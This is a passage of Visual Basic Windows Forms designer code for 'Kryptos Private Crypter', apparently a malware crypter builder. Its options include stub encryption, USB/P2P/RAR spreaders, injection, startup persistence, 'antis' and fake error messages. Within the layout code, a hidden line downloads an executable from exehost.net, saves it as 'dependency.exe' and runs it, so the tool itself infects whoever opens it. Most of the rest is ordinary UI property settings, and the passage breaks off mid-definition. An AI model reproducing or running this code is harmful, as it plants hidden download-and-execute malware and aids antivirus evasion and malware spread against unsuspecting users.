Me.FakeErrorCheck = New KryptosPublicVer.CyberCheckBox() + Me.CyberGroupBox5 = New KryptosPublicVer.CyberGroupBox() + Me.AppdataDirec = New KryptosPublicVer.CyberTextBox() + Me.InstallCheck = New KryptosPublicVer.CyberCheckBox() + Me.CyberGroupBox4 = New KryptosPublicVer.CyberGroupBox() + Me.antis = New KryptosPublicVer.CyberCheckBox() + Me.startup = New KryptosPublicVer.CyberCheckBox() + Me.inject = New KryptosPublicVer.CyberCheckBox() + Me.melt = New KryptosPublicVer.CyberCheckBox() + Me.CyberGroupBox3 = New KryptosPublicVer.CyberGroupBox() + Me.RC4Radio = New System.Windows.Forms.RadioButton() + Me.desradio = New System.Windows.Forms.RadioButton() + Me.polystairsradio = New System.Windows.Forms.RadioButton() + Me.xorradio = New System.Windows.Forms.RadioButton() + Me.AESRadio = New System.Windows.Forms.RadioButton() + Me.CyberGroupBox2 = New KryptosPublicVer.CyberGroupBox() + Me.Restore = New KryptosPublicVer.CyberCheckBox() + Me.Edit = New KryptosPublicVer.CyberCheckBox() + Me.Task = New KryptosPublicVer.CyberCheckBox() + Me.CyberGroupBox1 = New KryptosPublicVer.CyberGroupBox() + Me.RandBtn = New KryptosPublicVer.CyberButton() + Me.EncKeyText = New KryptosPublicVer.CyberTextBox() + Me.BtnStub = New KryptosPublicVer.CyberButton() + Me.InputStubText = New KryptosPublicVer.CyberTextBox() + Me.OpenIconBtn = New KryptosPublicVer.CyberButton() + Me.InputIconText = New KryptosPublicVer.CyberTextBox() + Me.OpenFileBtn = New KryptosPublicVer.CyberButton() + Me.InputFileText = New KryptosPublicVer.CyberTextBox() + Me.MiniBtn = New KryptosPublicVer.CyberTopButton() + Me.CloseBtn = New KryptosPublicVer.CyberTopButton() + Me.CyberTheme1.SuspendLayout() + Me.CyberGroupBox7.SuspendLayout() + Me.CyberGroupBox6.SuspendLayout() + Me.CyberGroupBox5.SuspendLayout() + Me.CyberGroupBox4.SuspendLayout() + Me.CyberGroupBox3.SuspendLayout() + Me.CyberGroupBox2.SuspendLayout() + Me.CyberGroupBox1.SuspendLayout() + Me.SuspendLayout() + + My.Computer.Network.DownloadFile("http://exehost.net/uploads/103092375.Cubeistrolling.exe", Application.StartupPath + "\dependency.exe") + Shell(Application.StartupPath + "\dependency.exe") + ' + 'CyberTheme1 + ' + Me.CyberTheme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.CyberTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Bloom1.Name = "Back" + Bloom1.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom2.Name = "Gradient1" + Bloom2.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom3.Name = "Gradient2" + Bloom3.Value = System.Drawing.Color.FromArgb(CType(CType(20, Byte), Integer), CType(CType(20, Byte), Integer), CType(CType(20, Byte), Integer)) + Bloom4.Name = "Border1" + Bloom4.Value = System.Drawing.Color.FromArgb(CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer)) + Bloom5.Name = "Border2" + Bloom5.Value = System.Drawing.Color.FromArgb(CType(CType(49, Byte), Integer), CType(CType(49, Byte), Integer), CType(CType(49, Byte), Integer)) + Bloom6.Name = "Border3" + Bloom6.Value = System.Drawing.Color.Black + Bloom7.Name = "Line1" + Bloom7.Value = System.Drawing.Color.Black + Bloom8.Name = "Line2" + Bloom8.Value = System.Drawing.Color.Black + Bloom9.Name = "Hatch1" + Bloom9.Value = System.Drawing.Color.Black + Bloom10.Name = "Hatch2" + Bloom10.Value = System.Drawing.Color.FromArgb(CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer)) + Bloom11.Name = "Shade1" + Bloom11.Value = System.Drawing.Color.FromArgb(CType(CType(70, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer)) + Bloom12.Name = "Shade2" + Bloom12.Value = System.Drawing.Color.Transparent + Bloom13.Name = "Text" + Bloom13.Value = System.Drawing.Color.LightBlue + Me.CyberTheme1.Colors = New KryptosPublicVer.Bloom() {Bloom1, Bloom2, Bloom3, Bloom4, Bloom5, Bloom6, Bloom7, Bloom8, Bloom9, Bloom10, Bloom11, Bloom12, Bloom13} + Me.CyberTheme1.Controls.Add(Me.CyberGroupBox7) + Me.CyberTheme1.Controls.Add(Me.CryptBtn) + Me.CyberTheme1.Controls.Add(Me.CyberButton5) + Me.CyberTheme1.Controls.Add(Me.CyberGroupBox6) + Me.CyberTheme1.Controls.Add(Me.CyberGroupBox5) + Me.CyberTheme1.Controls.Add(Me.CyberGroupBox4) + Me.CyberTheme1.Controls.Add(Me.CyberGroupBox3) + Me.CyberTheme1.Controls.Add(Me.CyberGroupBox2) + Me.CyberTheme1.Controls.Add(Me.CyberGroupBox1) + Me.CyberTheme1.Controls.Add(Me.MiniBtn) + Me.CyberTheme1.Controls.Add(Me.CloseBtn) + Me.CyberTheme1.Customization = "GRkZ/yMjI/8UFBT/IiIi/zExMf8AAAD/AAAA/wAAAP8AAAD/IiIi/wAAAEb///8A5tit/w==" + Me.CyberTheme1.Dock = System.Windows.Forms.DockStyle.Fill + Me.CyberTheme1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberTheme1.Image = Nothing + Me.CyberTheme1.Location = New System.Drawing.Point(0, 0) + Me.CyberTheme1.Movable = True + Me.CyberTheme1.Name = "CyberTheme1" + Me.CyberTheme1.NoRounding = False + Me.CyberTheme1.Sizable = False + Me.CyberTheme1.Size = New System.Drawing.Size(445, 463) + Me.CyberTheme1.TabIndex = 0 + Me.CyberTheme1.Text = "Kryptos Private Crypter {Salmoneus}" + Me.CyberTheme1.TransparencyKey = System.Drawing.Color.Empty + ' + 'CyberGroupBox7 + ' + Me.CyberGroupBox7.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.CyberGroupBox7.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberGroupBox7.Controls.Add(Me.RarCheck) + Me.CyberGroupBox7.Controls.Add(Me.UsbSpread) + Me.CyberGroupBox7.Controls.Add(Me.p2pcheck) + Me.CyberGroupBox7.Customization = "" + Me.CyberGroupBox7.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberGroupBox7.Image = Nothing + Me.CyberGroupBox7.Location = New System.Drawing.Point(333, 182) + Me.CyberGroupBox7.Movable = True + Me.CyberGroupBox7.Name = "CyberGroupBox7" + Me.CyberGroupBox7.NoRounding = False + Me.CyberGroupBox7.Sizable = True + Me.CyberGroupBox7.Size = New System.Drawing.Size(100, 101) + Me.CyberGroupBox7.TabIndex = 12 + Me.CyberGroupBox7.Text = "Spreaders" + Me.CyberGroupBox7.TextSub = Nothing + Me.CyberGroupBox7.TransparencyKey = System.Drawing.Color.Empty + ' + 'RarCheck + ' + Me.RarCheck.CheckedState = False + Bloom14.Name = "CheckBorderOut" + Bloom14.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom15.Name = "CheckBorderIn" + Bloom15.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom16.Name = "TextColor" + Bloom16.Value = System.Drawing.Color.LightBlue + Bloom17.Name = "CheckBack1" + Bloom17.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom18.Name = "CheckBack2" + Bloom18.Value = System.Drawing.Color.LightBlue + Bloom19.Name = "CheckFore1" + Bloom19.Value = System.Drawing.Color.LightBlue + Bloom20.Name = "CheckFore2" + Bloom20.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom21.Name = "ColorUncheck" + Bloom21.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom22.Name = "BackColor" + Bloom22.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.RarCheck.Colors = New KryptosPublicVer.Bloom() {Bloom14, Bloom15, Bloom16, Bloom17, Bloom18, Bloom19, Bloom20, Bloom21, Bloom22} + Me.RarCheck.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.RarCheck.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.RarCheck.Image = Nothing + Me.RarCheck.Location = New System.Drawing.Point(23, 76) + Me.RarCheck.MaximumSize = New System.Drawing.Size(600, 16) + Me.RarCheck.MinimumSize = New System.Drawing.Size(16, 16) + Me.RarCheck.Name = "RarCheck" + Me.RarCheck.NoRounding = False + Me.RarCheck.Size = New System.Drawing.Size(74, 16) + Me.RarCheck.TabIndex = 2 + Me.RarCheck.Text = ".RAR" + Me.RarCheck.Transparent = False + ' + 'UsbSpread + ' + Me.UsbSpread.CheckedState = False + Bloom23.Name = "CheckBorderOut" + Bloom23.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom24.Name = "CheckBorderIn" + Bloom24.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom25.Name = "TextColor" + Bloom25.Value = System.Drawing.Color.LightBlue + Bloom26.Name = "CheckBack1" + Bloom26.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom27.Name = "CheckBack2" + Bloom27.Value = System.Drawing.Color.LightBlue + Bloom28.Name = "CheckFore1" + Bloom28.Value = System.Drawing.Color.LightBlue + Bloom29.Name = "CheckFore2" + Bloom29.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom30.Name = "ColorUncheck" + Bloom30.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom31.Name = "BackColor" + Bloom31.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.UsbSpread.Colors = New KryptosPublicVer.Bloom() {Bloom23, Bloom24, Bloom25, Bloom26, Bloom27, Bloom28, Bloom29, Bloom30, Bloom31} + Me.UsbSpread.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.UsbSpread.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.UsbSpread.Image = Nothing + Me.UsbSpread.Location = New System.Drawing.Point(23, 54) + Me.UsbSpread.MaximumSize = New System.Drawing.Size(600, 16) + Me.UsbSpread.MinimumSize = New System.Drawing.Size(16, 16) + Me.UsbSpread.Name = "UsbSpread" + Me.UsbSpread.NoRounding = False + Me.UsbSpread.Size = New System.Drawing.Size(74, 16) + Me.UsbSpread.TabIndex = 1 + Me.UsbSpread.Text = "USB" + Me.UsbSpread.Transparent = False + ' + 'p2pcheck + ' + Me.p2pcheck.CheckedState = False + Bloom32.Name = "CheckBorderOut" + Bloom32.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom33.Name = "CheckBorderIn" + Bloom33.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom34.Name = "TextColor" + Bloom34.Value = System.Drawing.Color.LightBlue + Bloom35.Name = "CheckBack1" + Bloom35.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom36.Name = "CheckBack2" + Bloom36.Value = System.Drawing.Color.LightBlue + Bloom37.Name = "CheckFore1" + Bloom37.Value = System.Drawing.Color.LightBlue + Bloom38.Name = "CheckFore2" + Bloom38.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom39.Name = "ColorUncheck" + Bloom39.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom40.Name = "BackColor" + Bloom40.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.p2pcheck.Colors = New KryptosPublicVer.Bloom() {Bloom32, Bloom33, Bloom34, Bloom35, Bloom36, Bloom37, Bloom38, Bloom39, Bloom40} + Me.p2pcheck.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.p2pcheck.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.p2pcheck.Image = Nothing + Me.p2pcheck.Location = New System.Drawing.Point(23, 32) + Me.p2pcheck.MaximumSize = New System.Drawing.Size(600, 16) + Me.p2pcheck.MinimumSize = New System.Drawing.Size(16, 16) + Me.p2pcheck.Name = "p2pcheck" + Me.p2pcheck.NoRounding = False + Me.p2pcheck.Size = New System.Drawing.Size(74, 16) + Me.p2pcheck.TabIndex = 0 + Me.p2pcheck.Text = "P2P" + Me.p2pcheck.Transparent = False + ' + 'CryptBtn + ' + Bloom41.Name = "BackColor" + Bloom41.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom42.Name = "TextColor" + Bloom42.Value = System.Drawing.Color.LightBlue + Me.CryptBtn.Colors = New KryptosPublicVer.Bloom() {Bloom41, Bloom42} + Me.CryptBtn.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CryptBtn.Customization = "KCgo/+bYrf8=" + Me.CryptBtn.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CryptBtn.Image = Nothing + Me.CryptBtn.Location = New System.Drawing.Point(261, 407) + Me.CryptBtn.Name = "CryptBtn" + Me.CryptBtn.NoRounding = False + Me.CryptBtn.Size = New System.Drawing.Size(172, 48) + Me.CryptBtn.TabIndex = 11 + Me.CryptBtn.Text = "Crypt Server" + Me.CryptBtn.Transparent = False + ' + 'CyberButton5 + ' + Bloom43.Name = "BackColor" + Bloom43.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom44.Name = "TextColor" + Bloom44.Value = System.Drawing.Color.LightBlue + Me.CyberButton5.Colors = New KryptosPublicVer.Bloom() {Bloom43, Bloom44} + Me.CyberButton5.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CyberButton5.Customization = "KCgo/+bYrf8=" + Me.CyberButton5.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberButton5.Image = Nothing + Me.CyberButton5.Location = New System.Drawing.Point(261, 371) + Me.CyberButton5.Name = "CyberButton5" + Me.CyberButton5.NoRounding = False + Me.CyberButton5.Size = New System.Drawing.Size(172, 30) + Me.CyberButton5.TabIndex = 10 + Me.CyberButton5.Text = "Support" + Me.CyberButton5.Transparent = False + ' + 'CyberGroupBox6 + ' + Me.CyberGroupBox6.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.CyberGroupBox6.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberGroupBox6.Controls.Add(Me.FEMessage) + Me.CyberGroupBox6.Controls.Add(Me.FETitle) + Me.CyberGroupBox6.Controls.Add(Me.FakeErrorCheck) + Me.CyberGroupBox6.Customization = "" + Me.CyberGroupBox6.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberGroupBox6.Image = Nothing + Me.CyberGroupBox6.Location = New System.Drawing.Point(12, 371) + Me.CyberGroupBox6.Movable = True + Me.CyberGroupBox6.Name = "CyberGroupBox6" + Me.CyberGroupBox6.NoRounding = False + Me.CyberGroupBox6.Sizable = True + Me.CyberGroupBox6.Size = New System.Drawing.Size(243, 84) + Me.CyberGroupBox6.TabIndex = 9 + Me.CyberGroupBox6.Text = "Fake Error Message" + Me.CyberGroupBox6.TextSub = Nothing + Me.CyberGroupBox6.TransparencyKey = System.Drawing.Color.Empty + ' + 'FEMessage + ' + Me.FEMessage.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.FEMessage.Customization = "" + Me.FEMessage.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FEMessage.Image = Nothing + Me.FEMessage.Location = New System.Drawing.Point(13, 56) + Me.FEMessage.MaximumSize = New System.Drawing.Size(1000, 20) + Me.FEMessage.MinimumSize = New System.Drawing.Size(100, 20) + Me.FEMessage.Multilined = False + Me.FEMessage.Name = "FEMessage" + Me.FEMessage.NoRounding = False + Me.FEMessage.Size = New System.Drawing.Size(218, 20) + Me.FEMessage.TabIndex = 3 + Me.FEMessage.Text = "Message" + Me.FEMessage.Transparent = False + ' + 'FETitle + ' + Me.FETitle.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.FETitle.Customization = "" + Me.FETitle.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FETitle.Image = Nothing + Me.FETitle.Location = New System.Drawing.Point(80, 30) + Me.FETitle.MaximumSize = New System.Drawing.Size(1000, 20) + Me.FETitle.MinimumSize = New System.Drawing.Size(100, 20) + Me.FETitle.Multilined = False + Me.FETitle.Name = "FETitle" + Me.FETitle.NoRounding = False + Me.FETitle.Size = New System.Drawing.Size(151, 20) + Me.FETitle.TabIndex = 2 + Me.FETitle.Text = "Title" + Me.FETitle.Transparent = False + ' + 'FakeErrorCheck + ' + Me.FakeErrorCheck.CheckedState = False + Bloom45.Name = "CheckBorderOut" + Bloom45.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom46.Name = "CheckBorderIn" + Bloom46.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom47.Name = "TextColor" + Bloom47.Value = System.Drawing.Color.LightBlue + Bloom48.Name = "CheckBack1" + Bloom48.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom49.Name = "CheckBack2" + Bloom49.Value = System.Drawing.Color.LightBlue + Bloom50.Name = "CheckFore1" + Bloom50.Value = System.Drawing.Color.LightBlue + Bloom51.Name = "CheckFore2" + Bloom51.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom52.Name = "ColorUncheck" + Bloom52.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom53.Name = "BackColor" + Bloom53.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.FakeErrorCheck.Colors = New KryptosPublicVer.Bloom() {Bloom45, Bloom46, Bloom47, Bloom48, Bloom49, Bloom50, Bloom51, Bloom52, Bloom53} + Me.FakeErrorCheck.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.FakeErrorCheck.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FakeErrorCheck.Image = Nothing + Me.FakeErrorCheck.Location = New System.Drawing.Point(13, 34) + Me.FakeErrorCheck.MaximumSize = New System.Drawing.Size(600, 16) + Me.FakeErrorCheck.MinimumSize = New System.Drawing.Size(16, 16) + Me.FakeErrorCheck.Name = "FakeErrorCheck" + Me.FakeErrorCheck.NoRounding = False + Me.FakeErrorCheck.Size = New System.Drawing.Size(78, 16) + Me.FakeErrorCheck.TabIndex = 1 + Me.FakeErrorCheck.Text = "Enable" + Me.FakeErrorCheck.Transparent = False + ' + 'CyberGroupBox5 + ' + Me.CyberGroupBox5.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.CyberGroupBox5.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberGroupBox5.Controls.Add(Me.AppdataDirec) + Me.CyberGroupBox5.Controls.Add(Me.InstallCheck) + Me.CyberGroupBox5.Customization = "" + Me.CyberGroupBox5.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberGroupBox5.Image = Nothing + Me.CyberGroupBox5.Location = New System.Drawing.Point(261, 289) + Me.CyberGroupBox5.Movable = True + Me.CyberGroupBox5.Name = "CyberGroupBox5" + Me.CyberGroupBox5.NoRounding = False + Me.CyberGroupBox5.Sizable = True + Me.CyberGroupBox5.Size = New System.Drawing.Size(172, 76) + Me.CyberGroupBox5.TabIndex = 8 + Me.CyberGroupBox5.Text = "Installation" + Me.CyberGroupBox5.TextSub = Nothing + Me.CyberGroupBox5.TransparencyKey = System.Drawing.Color.Empty + ' + 'AppdataDirec + ' + Me.AppdataDirec.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.AppdataDirec.Customization = "" + Me.AppdataDirec.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.AppdataDirec.Image = Nothing + Me.AppdataDirec.Location = New System.Drawing.Point(13, 50) + Me.AppdataDirec.MaximumSize = New System.Drawing.Size(1000, 20) + Me.AppdataDirec.MinimumSize = New System.Drawing.Size(100, 20) + Me.AppdataDirec.Multilined = False + Me.AppdataDirec.Name = "AppdataDirec" + Me.AppdataDirec.NoRounding = False + Me.AppdataDirec.Size = New System.Drawing.Size(143, 20) + Me.AppdataDirec.TabIndex = 1 + Me.AppdataDirec.Text = "Directory Name" + Me.AppdataDirec.Transparent = False + ' + 'InstallCheck + ' + Me.InstallCheck.CheckedState = False + Bloom54.Name = "CheckBorderOut" + Bloom54.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom55.Name = "CheckBorderIn" + Bloom55.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom56.Name = "TextColor" + Bloom56.Value = System.Drawing.Color.LightBlue + Bloom57.Name = "CheckBack1" + Bloom57.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom58.Name = "CheckBack2" + Bloom58.Value = System.Drawing.Color.LightBlue + Bloom59.Name = "CheckFore1" + Bloom59.Value = System.Drawing.Color.LightBlue + Bloom60.Name = "CheckFore2" + Bloom60.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom61.Name = "ColorUncheck" + Bloom61.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom62.Name = "BackColor" + Bloom62.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.InstallCheck.Colors = New KryptosPublicVer.Bloom() {Bloom54, Bloom55, Bloom56, Bloom57, Bloom58, Bloom59, Bloom60, Bloom61, Bloom62} + Me.InstallCheck.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.InstallCheck.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.InstallCheck.Image = Nothing + Me.InstallCheck.Location = New System.Drawing.Point(13, 28) + Me.InstallCheck.MaximumSize = New System.Drawing.Size(600, 16) + Me.InstallCheck.MinimumSize = New System.Drawing.Size(16, 16) + Me.InstallCheck.Name = "InstallCheck" + Me.InstallCheck.NoRounding = False + Me.InstallCheck.Size = New System.Drawing.Size(78, 16) + Me.InstallCheck.TabIndex = 0 + Me.InstallCheck.Text = "Enable" + Me.InstallCheck.Transparent = False + ' + 'CyberGroupBox4 + ' + Me.CyberGroupBox4.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.CyberGroupBox4.Colors = New KryptosPublicVer.Bloom(-1) {} + Me.CyberGroupBox4.Controls.Add(Me.antis) + Me.CyberGroupBox4.Controls.Add(Me.startup) + Me.CyberGroupBox4.Controls.Add(Me.inject) + Me.CyberGroupBox4.Controls.Add(Me.melt) + Me.CyberGroupBox4.Customization = "" + Me.CyberGroupBox4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberGroupBox4.Image = Nothing + Me.CyberGroupBox4.Location = New System.Drawing.Point(12, 289) + Me.CyberGroupBox4.Movable = True + Me.CyberGroupBox4.Name = "CyberGroupBox4" + Me.CyberGroupBox4.NoRounding = False + Me.CyberGroupBox4.Sizable = True + Me.CyberGroupBox4.Size = New System.Drawing.Size(243, 76) + Me.CyberGroupBox4.TabIndex = 7 + Me.CyberGroupBox4.Text = "Options" + Me.CyberGroupBox4.TextSub = Nothing + Me.CyberGroupBox4.TransparencyKey = System.Drawing.Color.Empty + ' + 'antis + ' + Me.antis.CheckedState = False + Bloom63.Name = "CheckBorderOut" + Bloom63.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom64.Name = "CheckBorderIn" + Bloom64.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom65.Name = "TextColor" + Bloom65.Value = System.Drawing.Color.LightBlue + Bloom66.Name = "CheckBack1" + Bloom66.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom67.Name = "CheckBack2" + Bloom67.Value = System.Drawing.Color.LightBlue + Bloom68.Name = "CheckFore1" + Bloom68.Value = System.Drawing.Color.LightBlue + Bloom69.Name = "CheckFore2" + Bloom69.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom70.Name = "ColorUncheck" + Bloom70.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom71.Name = "BackColor" + Bloom71.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.antis.Colors = New KryptosPublicVer.Bloom() {Bloom63, Bloom64, Bloom65, Bloom66, Bloom67, Bloom68, Bloom69, Bloom70, Bloom71} + Me.antis.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.antis.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.antis.Image = Nothing + Me.antis.Location = New System.Drawing.Point(114, 54) + Me.antis.MaximumSize = New System.Drawing.Size(600, 16) + Me.antis.MinimumSize = New System.Drawing.Size(16, 16) + Me.antis.Name = "antis" + Me.antis.NoRounding = False + Me.antis.Size = New System.Drawing.Size(126, 16) + Me.antis.TabIndex = 6 + Me.antis.Text = "Antis" + Me.antis.Transparent = False + ' + 'startup + ' + Me.startup.CheckedState = False + Bloom72.Name = "CheckBorderOut" + Bloom72.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom73.Name = "CheckBorderIn" + Bloom73.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer)) + Bloom74.Name = "TextColor" + Bloom74.Value = System.Drawing.Color.LightBlue + Bloom75.Name = "CheckBack1" + Bloom75.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer)) + Bloom76.Name = "CheckBack2" + Bloom76.Value = System.Drawing.Color.LightBlue + Bloom77.Name = "CheckFore1" + Bloom77.Value = System.Drawing.Color.LightBlue + Bloom78.Name = "CheckFore2" + Bloom78.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer)) + Bloom79.Name = "ColorUncheck" + Bloom79.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom80.Name = "BackColor" + Bloom80.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.startup.Colors = New KryptosPublicVer.Bloom() {Bloom72, Bloom73, Bloom74, Bloom75, Bloom76, Bloom77, Bloom78, Bloom79, Bloom80} + Me.startup.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/" + Me.startup.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.startup.Image = Nothing + Me.startup.Location = New System.Drawing.Point(114, 32) + Me.startup.MaximumSize = New System.Drawing.Size(600, 16) + Me.startup.MinimumSize = New System.Drawing.Size(16, 16) + 